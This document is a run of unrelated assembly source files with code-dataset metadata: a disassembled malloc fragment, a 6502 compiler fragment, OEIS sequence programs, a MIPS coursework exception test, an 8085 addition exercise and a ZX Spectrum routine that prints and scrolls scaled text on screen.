a1f: eb 26 jmp a47 <malloc+0x96>
else {
p->s.size -= nunits;
a21: 8b 45 f4 mov -0xc(%ebp),%eax
a24: 8b 40 04 mov 0x4(%eax),%eax
a27: 2b 45 ec sub -0x14(%ebp),%eax
a2a: 89 c2 mov %eax,%edx
a2c: 8b 45 f4 mov -0xc(%ebp),%eax
a2f: 89 50 04 mov %edx,0x4(%eax)
p += p->s.size;
a32: 8b 45 f4 mov -0xc(%ebp),%eax
a35: 8b 40 04 mov 0x4(%eax),%eax
a38: c1 e0 03 shl $0x3,%eax
a3b: 01 45 f4 add %eax,-0xc(%ebp)
p->s.size = nunits;
a3e: 8b 45 f4 mov -0xc(%ebp),%eax
a41: 8b 55 ec mov -0x14(%ebp),%edx
a44: 89 50 04 mov %edx,0x4(%eax)
}
freep = prevp;
a47: 8b 45 f0 mov -0x10(%ebp),%eax
a4a: a3 4c 0e 00 00 mov %eax,0xe4c
return (void*)(p + 1);
a4f: 8b 45 f4 mov -0xc(%ebp),%eax
a52: 83 c0 08 add $0x8,%eax
a55: eb 3b jmp a92 <malloc+0xe1>
}
if(p == freep)
a57: a1 4c 0e 00 00 mov 0xe4c,%eax
a5c: 39 45 f4 cmp %eax,-0xc(%ebp)
a5f: 75 1e jne a7f <malloc+0xce>
if((p = morecore(nunits)) == 0)
a61: 83 ec 0c sub $0xc,%esp
a64: ff 75 ec pushl -0x14(%ebp)
a67: e8 e5 fe ff ff call 951 <morecore>
a6c: 83 c4 10 add $0x10,%esp
a6f: 89 45 f4 mov %eax,-0xc(%ebp)
a72: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
a76: 75 07 jne a7f <malloc+0xce>
return 0;
a78: b8 00 00 00 00 mov $0x0,%eax
a7d: eb 13 jmp a92 <malloc+0xe1>
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
a7f: 8b 45 f4 mov -0xc(%ebp),%eax
a82: 89 45 f0 mov %eax,-0x10(%ebp)
a85: 8b 45 f4 mov -0xc(%ebp),%eax
a88: 8b 00 mov (%eax),%eax
a8a: 89 45 f4 mov %eax,-0xc(%ebp)
return (void*)(p + 1);
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
a8d: e9 6d ff ff ff jmp 9ff <malloc+0x4e>
}
a92: c9 leave
a93: c3 ret
| 35.192358
| 60
| 0.419471
|
8f31af0139629aa2b83d7abf71cbd878a40b6db8
| 10
|
asm
|
Assembly
|
src/main/fragment/mos6502-common/vbuyy=vwuc1.asm
|
jbrandwood/kickc
|
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
|
[
"MIT"
] | 2
|
2022-03-01T02:21:14.000Z
|
2022-03-01T04:33:35.000Z
|
src/main/fragment/mos6502-common/vbuyy=vwuc1.asm
|
jbrandwood/kickc
|
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
|
[
"MIT"
] | null | null | null |
src/main/fragment/mos6502-common/vbuyy=vwuc1.asm
|
jbrandwood/kickc
|
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
|
[
"MIT"
] | null | null | null |
ldy #<{c1}
| 10
| 10
| 0.5
|
025f596a65f052e01d644ad5ee975478416e4fdb
| 1,284
|
asm
|
Assembly
|
programs/oeis/014/A014797.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/014/A014797.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/014/A014797.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A014797: Squares of odd square pyramidal numbers.
; 1,25,3025,8281,81225,148225,670761,1030225,3186225,4447881,10962721,14402025,30525625,38452401,73188025,89397025,156975841,187279225,308880625,361722361,567440041,654592225,985646025,1122987121,1634180625,1842555625,2604979521,2911142025,4015123225,4452759441,6011055961,6621890625,8773132225,9608116441,12520491025,13641072025,17516257801,18995730625,24073074025,25998015121,32558954481,35030737225,43403472225,46539864361,57104271225,61041114225,74233906681,79126877025,95447013025,101473465401,121487799601,128848692025,153197874025,162119774881,191524393225,202261570225,237528542161,250365133225,292394340225,307646606281,357437775321,375456435025,434116265625,455288912001,524038449025,548792048025,628974300241,657777771225,750865575625,784232453761,891836585641,930327766225,1054205295025,1098431859721,1240494750625,1291120875625,1453444836921,1511190783025,1696024359225,1761669543841,1971443454561,2045829605625,2283166330225,2367200722041,2634924330025,2729583101025,3030729328201,3137060880625,3474887451025,3594015932521,3972013126081,4105141993225,4527043459225,4675459122961,5145252939225,5310328492225,5832268470081,6015467496025,6594084731025,6796965195801
seq $0,15221 ; Odd square pyramidal numbers.
pow $0,2
| 214
| 1,176
| 0.899533
|
e3476d9889e48c5aa3518ee45de79a9587d72e02
| 338
|
asm
|
Assembly
|
Verilog/P7/test/P7测试集/取指异常.asm
|
JJLeo/BUAA-CO-2020
|
1d1a3797f7188530464a1dfbe8a017dd01bb817a
|
[
"MIT"
] | 9
|
2021-03-04T07:22:24.000Z
|
2021-11-30T02:56:08.000Z
|
Verilog/P7/test/P7测试集/取指异常.asm
|
johnnyamazing/BUAA-CO-2020
|
1d1a3797f7188530464a1dfbe8a017dd01bb817a
|
[
"MIT"
] | null | null | null |
Verilog/P7/test/P7测试集/取指异常.asm
|
johnnyamazing/BUAA-CO-2020
|
1d1a3797f7188530464a1dfbe8a017dd01bb817a
|
[
"MIT"
] | 3
|
2021-09-28T07:41:35.000Z
|
2021-12-14T08:55:28.000Z
|
.text
li $28, 0
li $29, 0
# jr PC mod 4 not 0
la $1, label1
la $2, label1
addiu $1, $1, 1
jr $1
nop
label1:
# jr PC < 0x3000
li $1, 0x2996
la $2, label2
jr $1
nop
label2:
# jr PC > 0x4ffc
li $1, 0x4fff
la $2, label3
jr $1
nop
label3:
end:j end
.ktext 0x4180
mfc0 $12, $12
mfc0 $13, $13
mfc0 $14, $14
mtc0 $2, $14
eret
ori $1, $0, 0
| 9.135135
| 19
| 0.600592
|
ea0d8da1b5ad6f525bda8a09c31fb5ec04ad18f9
| 121
|
asm
|
Assembly
|
Sem4/AEIE_LAB/Day1_Add_8_Bit.asm
|
SOUMEE2000/Heritage-CSE-Codes
|
040d4e4c8d8f2b92ad74bd373243611d912c6a91
|
[
"Apache-2.0"
] | null | null | null |
Sem4/AEIE_LAB/Day1_Add_8_Bit.asm
|
SOUMEE2000/Heritage-CSE-Codes
|
040d4e4c8d8f2b92ad74bd373243611d912c6a91
|
[
"Apache-2.0"
] | null | null | null |
Sem4/AEIE_LAB/Day1_Add_8_Bit.asm
|
SOUMEE2000/Heritage-CSE-Codes
|
040d4e4c8d8f2b92ad74bd373243611d912c6a91
|
[
"Apache-2.0"
] | null | null | null |
ORG 2000H
MVI A, 35H
MVI D, 0FEH
LXI B, 45CDH
ADD D
JNC L1
MVI E, 01H
JMP L2
L1: MVI E, 00H
L2: MOV D,A
HLT
| 10.083333
| 18
| 0.595041
|
cfb85d03eca7e76889d2f112136d140c23d21f94
| 550
|
asm
|
Assembly
|
oeis/016/A016985.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/016/A016985.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/016/A016985.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A016985: a(n) = (7n)^5.
; 0,16807,537824,4084101,17210368,52521875,130691232,282475249,550731776,992436543,1680700000,2706784157,4182119424,6240321451,9039207968,12762815625,17623416832,23863536599,31757969376,41615795893,53782400000,68641485507,86617093024,108175616801,133827821568,164130859375,199690286432,241162079949,289254654976,344730881243,408410100000,481170140857,563949338624,657748550151,763633171168,882735153125,1016255020032,1165463885299,1331705468576,1516398112593,1721036800000,1947195170207,2196527536224
pow $0,5
mul $0,16807
| 91.666667
| 500
| 0.876364
|
9b92ff8e255baba93fc7bd2a92840dae48950c5e
| 21,878
|
asm
|
Assembly
|
ZX-Spectrum/assembly/streams_10-11.asm
|
peroff/8-Bit-Tea-Party
|
374d486a9712a7d6286d8080c1e98e28b1c5e066
|
[
"MIT"
] | 13
|
2018-08-01T20:29:20.000Z
|
2021-09-03T21:49:25.000Z
|
ZX-Spectrum/assembly/streams_10-11.asm
|
peroff/8-Bit-Tea-Party
|
374d486a9712a7d6286d8080c1e98e28b1c5e066
|
[
"MIT"
] | 3
|
2019-09-18T21:13:41.000Z
|
2021-10-10T13:45:17.000Z
|
ZX-Spectrum/assembly/streams_10-11.asm
|
peroff/8-Bit-Tea-Party
|
374d486a9712a7d6286d8080c1e98e28b1c5e066
|
[
"MIT"
] | 4
|
2019-09-18T20:25:37.000Z
|
2021-08-19T10:17:46.000Z
|
;WELCOME TO 8-BIT TEA PARTY!
;
;MAIN FILE FOR ASSEMBLER CODE ON STREAMS.
;WE USING PENTAGON-128K MODEL EMULATION.
;
;CPU: Zilog Z80, 3.5MhZ, 1976.
;RAM: 48Kb BASE, 128Kb WITH MORE MEMORY.
;ROM: 16Kb base and more with 128Kb.
;SCREEN:256x192 PIXELS IN MONOCHROME.
; 32x24 COLOR ATTRIBUTES.
;SOUND: 1-Bit beeper,
; AY-3-8910 or YM2149F CHIP.
;CTRL: Keyboard and Kempston joystick.
;
;ADDRESS WIDTH:
; 16 BITS OR 0..64Kb OR #0000..#FFFF
;REGISTERS: 8-BIT PART OR 16-BIT AS PAIR.
; AF - ACCUMULATOR AND FLAGS
; BC - DATA/ADDR, FOR LOOPS.
; DE - DATA/ADDR, OPERAND WITH HL.
; HL - 16-BIT ACCUMULATOR.
; AF',BC',DE',HL' - ALTERNATE.
; I - INTERRUPT, R(DRAM).
;REGISTERS: 16-BIT ONLY.
; IX,IY - 16-BIT INDEX REGISTERS.
; SP - STACK POINTER.
; PC - PROGRAM COUNTER.
;INTERRUPTS:
; NMI - NON MASKABLE INTERRUPT.
; IM0 - MASKABLE, HARDWARE.
; IM1 - MASKABLE, STANDARD.
; IM2 - MASKABLE, USER DEFINED.
;GLOBAL NAMES AND CONSTANTS.
SCREEN_PIXELS EQU #4000 ;16384
SCREEN_ATTRIB EQU #5800 ;22528
SCREEN_P_SIZE EQU #1800 ;6Kb
SCREEN_A_SIZE EQU #300 ;768Bytes
SCREEN_ATTRIB_H EQU #58
SCREEN_ATTRIB_L EQU #00
SCREEN_ADDR_TOP EQU #5B00
SCREEN_ATTR_WS EQU #180 ;In words
SCREEN_PIX_WS EQU #0C00 ;In words
SCR_A_MID_ADDR EQU #5900 ;S+256
SCR_ATTR_SIZE_X EQU #20 ;32
SCR_ATTR_SIZE_Y EQU #18 ;24
SCR_A_PART_SIZE EQU #100 ;256 Bytes
FONT_SIZE EQU #08 ;8x8
TIMER_FONT_SIZE EQU #58 ;88 bytes
FONT_CODE_START EQU #00 ;32 Space
IM2_PER_SEC EQU #32 ;50 ints
SEC_PER_MIN EQU #3C ;60 secs
NUM_SYS_BASE EQU #0A ;DEC(10)
IM2_I_REG EQU #5B
IM2_B_DATA EQU #FF
KEMPSTON_PORT EQU #1F ;PORT 31
KEMPSTON_MASK EQU %00011111 ;5 BITS
KEMPSTON_RIGHT EQU #00 ;N OF BIT
KEMPSTON_LEFT EQU #01
KEMPSTON_DOWN EQU #02
KEMPSTON_UP EQU #03
KEMPSTON_FIRE EQU #04
PRINT_STRING EQU #203C
OPEN_CHANNEL EQU #1601
ORG #6000 ;START ADDRESS
LD (ALASM_STACK),SP
LD SP,(PROGRAM_STACK)
PUSH DE
LD DE,IM2
CALL IM2_SETUP
LD A,"а"
LD D,#00
LD E,%01100000
LD HL,PRESS_START_2P
LD BC,#0608
FNT_2: PUSH BC
FNT_1: PUSH BC
LD BC,SCREEN_PIXELS
CALL PRINT_CHAR_AT
POP BC
INC A ;LAST CHAR
JR Z,FNT_0
INC E
DEC C
JR NZ,FNT_1
POP BC
LD E,%01100000
INC D
DJNZ FNT_2
FNT_0:
;CALL PRINT_AND_SCROLL
;CALL PRINT_STR_SCALE
;CALL PRINT_CHARS_SCR
;CALL SCROLL_TEXT_ATTR
;CALL TIMER_ATTR_FONT
;CALL TEXT_DYNAMIC_COLORS
;CALL FILL_SCR_ATTRIB
;CALL IM2_PERFORMANCE
; ;CALL DYNAMIC_COLOR_TABLE
TO_RET: POP DE
LD SP,(ALASM_STACK)
RET
;GLOBAL VARIABLES AND DATA.
PROGRAM_STACK DEFW #5F00
ALASM_STACK DEFW #0000
STR_HELLO DEFB "Hello World!",0
KEMPSTON DB #00
;Stream 11. Scroll text on screen, music.
PRINT_AND_SCROLL:
PUSH AF
PUSH BC
PUSH DE
PUSH HL
PUSH IX
PUSH IY
;CALL SCROLL_SCREEN
;CALL PRINT_CHARS_SCR
;MAIN STREAM SHOW EFFECT OF TEXT MOVE UP.
LD D,%01000111
LD E,#00
CALL CLEAR_SCR
;ROLL MID SCREEN.
LD C,#0C ;ANIMATION
LD IX,STRING_TXT
M_TXT_9:PUSH BC
PUSH IX
;PRINT STRING TO BUFFER, DRAW OUR ATTR.
LD IX,TXT_ATTR_1
LD B,#08
LD DE,#0000
LD HL,FONT_ENG
M_TXT_1:PUSH BC
LD A,C ;FROM COUNTER
AND %00000111
RLCA
RLCA
RLCA
OR %01000000
LD B,A
LD C,%01000000
LD A,(IX+0)
SCF
CALL PRINT_A_CHAR
LD A,E
ADD A,FONT_SIZE
CP #20 ;IN LINE
JR NZ,M_TXT_2
LD A,#00
LD D,#10
M_TXT_2:LD E,A
INC IX
POP BC
DJNZ M_TXT_1
POP IX
LD IY,STRING_BUFFER
LD HL,FONT_ENG
LD D,#00
LD E,%00100000 ;SCALE 2X
LD BC,#0110
CALL PRINT_STRING_WIN
;LD IY,STRING_BUFFER
LD B,#10 ;ONE LINE
M_TXT_7:PUSH BC
LD HL,#4800 ;MID SCREEN
LD DE,#4800
LD A,#08 ;8 PARTS
M_TXT_6:PUSH AF
PUSH HL
LD A,#07 ;7 LINES
;OUT (#FE),A
M_TXT_3:INC H
PUSH DE
PUSH HL ;MOVE LINE
LD BC,#0020
LDIR
POP HL
POP DE
INC D
DEC A
JR NZ,M_TXT_3 ;NEXT 7TH LINE
POP HL
POP AF
BIT 0,A ;NEXT FRAME
JR Z,M_TXT_8
HALT ;PAUSE EVERY 16
M_TXT_8:DEC A ;LAST PART LINE
JR NZ,M_TXT_4
POP BC ;TAKE B LINE FONT
PUSH BC
LD A,B
CP #08
JR Z,M_TXT_A
PUSH IY ;FROM BUFFER
POP HL
LD BC,#0100 ;NEXT LINE
ADD IY,BC
XOR A ;RESTORE ZERO
JR M_TXT_5
M_TXT_A:LD IY,STRING_BUFFER
LD BC,#0020
ADD IY,BC
PUSH IY
POP HL
XOR A ;RESTORE ZERO
JR M_TXT_5
M_TXT_4:LD BC,#0020
ADD HL,BC
M_TXT_5:PUSH HL
LD BC,#0020
LDIR ;LAST LINE
POP HL
PUSH HL
POP DE
OR A ;NEXT PART
JR NZ,M_TXT_6
POP BC
;LD A,#04
;OUT (#FE),A
DJNZ M_TXT_7
LD BC,#0010
ADD IX,BC
POP BC ;NEXT FRAME
DEC C
JP NZ,M_TXT_9
JP PR_SC_0
;TESTING TO SHOW ALL CHARS ON SCREEN.
;JP TST_S
LD IX,STRING_TXT
LD IY,SCREEN_PIXELS
LD B,#04
LD C,%00000000
LD H,SCR_ATTR_SIZE_Y
LD L,SCR_ATTR_SIZE_X
P_WIN_1:PUSH BC
PUSH HL
LD DE,#0000
LD A,C ;SCALE
RRCA
RRCA
RRCA
OR E
LD E,A ;ADD SCALE
PUSH HL
POP BC
LD HL,FONT_ENG
CALL PRINT_STRING_WIN
POP HL
SRL H ;SIZES TO SCALE
SRL L
POP BC
LD A,#32
CALL IM2_DELAY
INC C ;NEXT SCREEN
DJNZ P_WIN_1
JP PR_SC_0
;TESTING AFTER SIMPLE FUNCTION.
TST_S: LD D,#00
LD E,%00000000 ;10
LD BC,#1020
LD HL,FONT_ENG
LD IX,STRING_TXT
;LD IY,SCREEN_PIXELS
LD IY,STRING_BUFFER
CALL PRINT_STRING_WIN
JP TO_RET
LD A," "
LD D,#00
LD E,%00000000
LD BC,#0C10
LD HL,FONT_ENG
TST_3: PUSH BC
PUSH DE
TST_1: PUSH BC
LD BC,SCREEN_PIXELS
CALL PRINT_CHAR_AT
POP BC
INC A
CP #60
JR NZ,TST_2
LD A," "
TST_2: INC E
DEC C
JR NZ,TST_1
POP DE
INC D
POP BC
DJNZ TST_3
JP PR_SC_0
;Testing function of address offset from
;coordinates by D.Krapivin.
LD DE,#0F00 ;TEST INCORRECT
CALL OFFSET_ATTR
JP TO_RET
LD DE,#0000 ;NORMAL TEST
OFF_A_1:CALL OFFSET_ATTR
INC E
LD A,E
CP SCR_ATTR_SIZE_X
JR NZ,OFF_A_1
LD E,#00
INC D
LD A,D
CP SCR_ATTR_SIZE_Y
JR NZ,OFF_A_1
PR_SC_0:POP IY
POP IX
POP HL
POP DE
POP BC
POP AF
RET
TXT_ATTR_1: DEFB "8BITTEA!"
STRING_TXT:
DEFB " WELCOME TO "
DEFB "8-BIT TEA PARTY!"
DEFB " "
DEFB " SLOW VERTICAL "
DEFB " SCROLL, USING "
DEFB " SIMPLE ADDRESS "
DEFB " ARITHMETIC... "
DEFB " "
DEFB "HELLO TO ALL OUR"
DEFB " FRIENDS AND "
DEFB " VIEWERS! "
DEFB " ",0
STRING_BUFFER: DUP #0800 ;2Kb
DEFB %10101010
; DEFB %01010101
; DEFB %00000000
; DEFB %00000000
EDUP
;Part only in draft, to save history.
SCROLL_SCREEN:
PUSH AF
PUSH BC
PUSH DE
PUSH HL
PUSH IX
PUSH IY
;LD HL,STRING_BUFFER
;LD DE,SCREEN_PIXELS
;LD BC,#0200
;LDIR
LD A,%01111000
LD HL,FONT_ENG
LD IX,STRING_TXT
LD IY,SCREEN_PIXELS
;LD IY,STRING_BUFFER
LD BC,#1802
LD D,#00
LD E,%10000000
;CALL PRINT_STRING_WIN
LD B,#01 ;ANIMATION
S_SCR_7:HALT
PUSH BC
LD HL,SCREEN_PIXELS
LD DE,SCREEN_PIXELS
LD C,#01 ;PARTS
S_SCR_8:PUSH BC
LD A,C
CPL
AND %00000011 ;ONLY PART
RLCA
RLCA
RLCA
LD B,A
LD A,H ;NEXT PART 2K
AND %11100111
OR B
LD H,A
LD L,#00
LD A,#08 ;PARTS OF 2K
S_SCR_6:PUSH AF ;CYCLE
PUSH HL
LD A,#07
;HALT
S_SCR_5:INC H ;HL = NEXT LINE
PUSH HL
PUSH DE
LD BC,#0020
LDIR ;MOVE 7 LINES
POP DE
INC D ;NEXT LINE
POP HL
DEC A
JR NZ,S_SCR_5
POP HL
POP AF ;PARTS OF 2K
CP #01
JR NZ,S_SCR_9
LD BC,#720 ;LAST LINE OF 2K
JR S_SCR_A
S_SCR_9:LD BC,#0020 ;MOVE 8TH LINE
S_SCR_A:ADD HL,BC
PUSH HL
PUSH HL
LD BC,#0020
LDIR
POP HL ;DE = HL
POP DE ;
DEC A
JR NZ,S_SCR_6 ;NEXT 8 LINES
POP BC
DEC C
JR NZ,S_SCR_8 ;NEXT 2K PART
POP BC
LD A,#07
OUT (#FE),A
DEC B
JR NZ,S_SCR_7 ;NEXT FRAME
POP IY
POP IX
POP HL
POP DE
POP BC
POP AF
RET
;Print text string to window with color.
;Scale factor only for font.
;D window coordinate Y[0..23];
;E [BITS]:
;0..4 window coordinate X[0..31];
;5..6 scaling for font;
;7 reserved;
;B window size Y[1..24];
;C window size X[1..32];
;HL address of font;
;IX address of string;
;IY address of screen or buffer.
PRINT_STRING_WIN:
PUSH AF
PUSH BC
PUSH DE
PUSH HL
PUSH IX
PUSH DE ;SAVE SOURCE
PUSH BC ;COORDINATES
LD A,E ;SCALE
AND %01100000 ;PARAMETER
RLCA
RLCA
RLCA
OR A
JR Z,PR_ST_2
PUSH HL
LD H,A
LD A,E ;ONLY COORDINATE
AND %00011111
LD E,A
PR_ST_1:SLA D ;SCALE WINDOW
SLA E ;COORDINATES AND
SLA B ;SIZES X AND Y
SLA C
DEC H
JR NZ,PR_ST_1
POP HL ;HL = FONT
PR_ST_2:LD A,B ;CHECK Y SIZES
OR A
JR Z,PR_ST_3 ;IF SIZE Y = 0
ADD A,D
LD D,A
LD A,SCR_ATTR_SIZE_Y
CP D ;OUT OF SCREEN
JR C,PR_ST_3
LD A,C ;CHECK X SIZES
OR A
JR Z,PR_ST_3 ;IF SIZE X = 0
LD A,E
ADD A,C
LD E,A
LD A,SCR_ATTR_SIZE_X
CP E ;OUT OF SCREEN
JR C,PR_ST_3
JR PR_ST_4 ;SIZES OK
PR_ST_3:POP BC ;WINDOW INCORRECT
POP DE
JP PR_ST_0 ;EXIT
PR_ST_4:POP BC ;RESTORE SOURCE
POP DE ;COORDINATES
PR_ST_7:PUSH BC ;PRINT TEXT
PUSH DE
PR_ST_6:LD A,(IX+0)
OR A ;IF NULL CHAR
JR Z,PR_ST_5
PUSH BC ;ABOUT INTERFACE
PUSH IY
POP BC
CALL PRINT_CHAR_AT
POP BC
INC IX
INC E ;NEXT CHAR
DEC C
JR NZ,PR_ST_6
POP DE
INC D ;NEXT LINE
POP BC
DJNZ PR_ST_7
JR PR_ST_0
PR_ST_5:POP DE ;NULL CHAR
POP BC
PR_ST_0:POP IX
POP HL
POP DE
POP BC
POP AF
RET
;Convert char coordinates to address.
;DE coordinates Y[0..23] and X[0..31];
;HL address on screen.
OFFSET_ATTR:
PUSH AF
PUSH DE
LD HL,#4800
LD A,D
AND %00011000 ;CORRECT IF ONLY
ADD A,H ;BITS 3,4 SET TO 0
LD H,A
LD A,D
AND %00000111
SRL D ;L MUST BE 0
RR L ;4 BYTES, 16 TACTS
SRL D
RR L
SRL D
RR L ;12 BYTES
ADD HL,DE ;48 TACTS
LD A,#FF
LD (HL),A
POP DE
POP AF
RET
;Stream 10. Print string with scaling.
PRINT_STR_SCALE:
PUSH AF
PUSH BC
PUSH DE
PUSH HL
PUSH IX
;LD HL,FONT_ENG
;LD BC,SCREEN_PIXELS
;LD A,48
;CALL PRINT_CHAR_AT
LD IX,STRING_TXT
LD B,#03
LD HL,FONT_ENG
LD D,%00000011
LD E,%00111111
STR_1: PUSH BC
LD BC,SCREEN_PIXELS
LD A,(IX+0)
CALL PRINT_CHAR_AT
POP BC
INC IX
INC E
DJNZ STR_1
POP IX
POP HL
POP DE
POP BC
POP AF
RET
;Stream 9. Print chars at screen position.
PRINT_CHARS_SCR:
PUSH AF
PUSH BC
PUSH DE
PUSH HL
LD A,FONT_CODE_START
LD DE,#0000
LD BC,SCREEN_PIXELS
LD HL,FONT_ENG
PRC_S3: CALL PRINT_CHAR_AT
INC A
CP #60
JR NZ,PRC_S1
LD A,FONT_CODE_START
PRC_S1: PUSH AF
INC E
LD A,E
CP SCR_ATTR_SIZE_X
JR NZ,PRC_S2
XOR A
LD E,A
INC D
LD A,D
CP SCR_ATTR_SIZE_Y
JR NZ,PRC_S2
POP AF
JR PRC_S4
PRC_S2: POP AF
JR PRC_S3
PRC_S4: POP HL
POP DE
POP BC
POP AF
RET
;Testing russian codepage.
DEFB "йцукенгшщз"
DEFB "фывапролд;'"
DEFB "ячсмить,./"
DEFB "бэЭхжЖ-+=;'"
DEFB "<>ХБ;"
DEFB ":ю?/*,.,"
;Print char 8x8 pixels on screen.
;Using scaling and
;A char to print;
;BC address of screen(left-top);
;E [BITS]:
;0..4 coordinate on screen X [0..23];
;5..6 char scale [0..3] parameter:
; 0 - no scale;
; 1..3 - scale 2,4,8 pixel size;
;7 reserved;
;D coordinate on screen Y [0..31];
;HL address of font.
PRINT_CHAR_AT:
PUSH AF
PUSH BC
PUSH DE
PUSH HL
PUSH IX
PUSH IY
PUSH DE ;HL CHAR IN FONT
EX DE,HL ;THX TO D.KRAPIVIN
SUB FONT_CODE_START
LD L,A
;LD H,#HIGH PART OF FONT ADDRESS.
; LD H,#10 ;#10 TO #8000
LD H,#00
ADD HL,HL ;MULTIPLY 8
ADD HL,HL
ADD HL,HL
ADD HL,DE ;ADD BASE ADDR
PUSH HL
POP IX ;IX = FONT ADDR
POP DE ;HL CLEAR
;OPTIMIZATION
LD A,E ;SCALE
AND %01100000 ;PARAMETER
JR Z,P_CHR_2 ;IF NO SCALE
RLCA ;SCALE PARAMETER
RLCA
RLCA
LD H,A ;SAVE COUNTER
LD L,A
LD A,E
AND %00011111 ;ONLY COORDINATES
LD E,A
P_CHR_3:SLA E ;SCALE COORDINATES
SLA D
DEC H
JR NZ,P_CHR_3 ;NEXT
LD A,L
P_CHR_2:
LD L,A ;CHECK COORDINATES
LD A,D ;FIX C
CP SCR_ATTR_SIZE_Y
JP NC,P_CHR_R
LD A,E
CP SCR_ATTR_SIZE_X
JP NC,P_CHR_R
LD A,L
;USING L REGISTER
; PUSH AF ;SAVE SCALE
LD A,D ;[0..23]
AND %00011000 ;3,4 BITS 2K PART
ADD A,B
LD B,A
LD A,D
AND %00000111 ;[0..7] * 32
RRCA ;5,6,7 BITS OFFS
RRCA ;CYCLE
RRCA ;12 TACTS, 3 BYTES
ADD A,E ;PLUS X POSITION
ADD A,C ;LOW PART BASE
JR NC,P_CHR_G
INC B ;CARRY ONE BIT
P_CHR_G:LD C,A ;BC OFFSET BUFFER
LD A,L
PUSH BC ;BC CLEAR
POP IY ;IY = ADDR BUFFER
; LD A,#FF ;TEST
; LD (IY+0),A
; JR P_CHR_R
;0 = 8, 1 = 4, 2 = 1, 3 = 0
LD H,#08 ;H = PIXS PER BYTE
LD L,#01 ;L = CELLS ON CHAR
OR A ;AS 0 = DEFAULT 1
JR Z,P_CHR_C
P_CHR_4:SRL H ;DIV 2 PIXELS
SLA L ;MUL 2 CELLS
DEC A
JR NZ,P_CHR_4 ;NEXT SCALE
P_CHR_C:
LD C,L ;C = VERT CELLS
P_CHR_B:PUSH IY
LD B,FONT_SIZE ;B = LINES IN CELL
LD A,L ;FONT NEXT LINE
P_CHR_A:PUSH AF
PUSH BC
PUSH IY
LD E,L ;E = HORIZ CELLS
LD A,(IX+0) ;A = FONT DATA ROM
P_CHR_9:LD C,H ;C = PIXS PER BYTE
LD D,#00 ;D = DATA TO WRITE
P_CHR_8:LD B,L ;FOR ONE BYTE
RLCA ;TAKE 7 BIT
JR C,P_CHR_5 ;IF BIT SET
P_CHR_6:RL D ;SAVE 0 AND ROLL
DJNZ P_CHR_6
JR P_CHR_7
P_CHR_5:SCF ;SAVE 1 AND ROLL
RL D
DJNZ P_CHR_5
P_CHR_7:DEC C ;NEXT PART OF BYTE
JR NZ,P_CHR_8
LD (IY+0),D ;WRITE DATA BUFFER
INC IY
DEC E
JR NZ,P_CHR_9 ;NEXT HORIZ CELL
POP IY
LD DE,#0100 ;NEXT LINE BUFFER
ADD IY,DE
POP BC
POP AF
DEC A ;DEC FNT COUNTER
JR NZ,P_CHR_F
LD A,L ;RESET COUNTER
INC IX ;NEXT FONT LINE
P_CHR_F:DJNZ P_CHR_A ;NEXT LINE CELL
POP IY
LD DE,#0020 ;NEXT CELL BUFFER
ADD IY,DE
DEC C
JR NZ,P_CHR_B
P_CHR_R:POP IY
POP IX
POP HL
POP DE
POP BC
POP AF
RET
IM2_COUNTER DB #00 ;SIMPLE COUNTER
TIMER_L_SEC DB #00 ;SECONDS
TIMER_H_SEC DB #00 ;10TH SECONDS
;Print character using colors attributes.
;A[BITS]:
;0..7 character from '0'..'9' and ':',
;F [FLAGS]:
;C is using next color on next line;
;BC first color attribute and paper;
;DE vertical and horizontal position;
;HL address of font with starting '0'.
PRINT_A_CHAR:
PUSH AF ;Save registers
EX AF,AF' ;USING IN PROGRAM
PUSH AF
EX AF,AF'
PUSH BC
PUSH DE
PUSH HL ;No performance
PUSH IX
PUSH AF ;AF' = AF
EX AF,AF' ;C FLAG FOR
POP AF ;NEXT COLOR
EX AF,AF'
PUSH DE
EX DE,HL
SUB FONT_CODE_START
LD L,A
LD H,#00 ;CHAR * 8
ADD HL,HL
ADD HL,HL
ADD HL,HL
ADD HL,DE
PUSH HL ;HL = CHAR
POP IX ;IX = HL
POP DE
LD H,FONT_SIZE
PRA_C3: PUSH DE ;SAVE COORDS
PUSH BC
LD L,FONT_SIZE ;BITS IN LINE
PRA_C2: LD A,C ;BACKGROUND
RLC (IX+0) ;HIGH -> LOW
JR NC,PRA_C1
LD A,B
PRA_C1: CALL SET_ATTRIBUTE
INC E ;NEXT COLUMN
DEC L
JR NZ,PRA_C2
POP BC
EX AF,AF' ;IF NEXT COLOR
JR NC,PRA_C5
EX AF,AF'
LD A,B ;NEXT PAPER COLOR
AND %11000111 ;INVERT MASK
LD E,A ;SAVE
LD A,B
AND %00111000 ;PAPER
ADD A,%00001000 ;MULTIPLY COMMON
AND %00111000 ;ONLY PAPER
OR E ;WITH OTHER BITS
LD B,A ;NEW COLOR
JR PRA_C4
PRA_C5: EX AF,AF' ;MAIN AF
PRA_C4: POP DE
INC D ;NEXT LINE
